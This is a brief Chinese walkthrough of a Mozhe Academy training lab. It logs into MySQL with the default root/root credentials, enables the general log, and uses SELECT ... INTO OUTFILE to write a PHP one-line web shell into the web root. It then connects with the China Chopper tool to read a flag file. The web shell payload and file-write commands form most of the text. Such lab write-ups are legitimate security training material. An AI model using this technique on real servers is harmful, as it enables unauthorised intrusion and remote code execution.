1.在墨者学院找到该靶场并点击启动靶场
2.点击访问,进入靶场环境,并尝试默认口令(root,root),登陆成功
3.查看MySQL是否限制导入导
show global variables like '%secure%';
4.查看MySQL日志状态
show variables like '%general%';
5.利用日志文件写入一句话木马
开启general_log :
set global general_log='on';
6.尝试直接通过into outfile写入一句话木马,访问执行成功
select '<?php eval($_POST[shy]); ?>' into outfile '/var/www/html/shyy.php';
7.使用菜刀连接
![](https://img.haomeiwen.com/i17136449/c4f04d9ce8136994.png)
![](https://img.haomeiwen.com/i17136449/97c813961dce9514.png)
8,从根目录找到key.txt
![](https://img.haomeiwen.com/i17136449/5384f69cd114f637.png)
9.key.txt内容如下
![](https://img.haomeiwen.com/i17136449/ade41956168ae746.png)
网友评论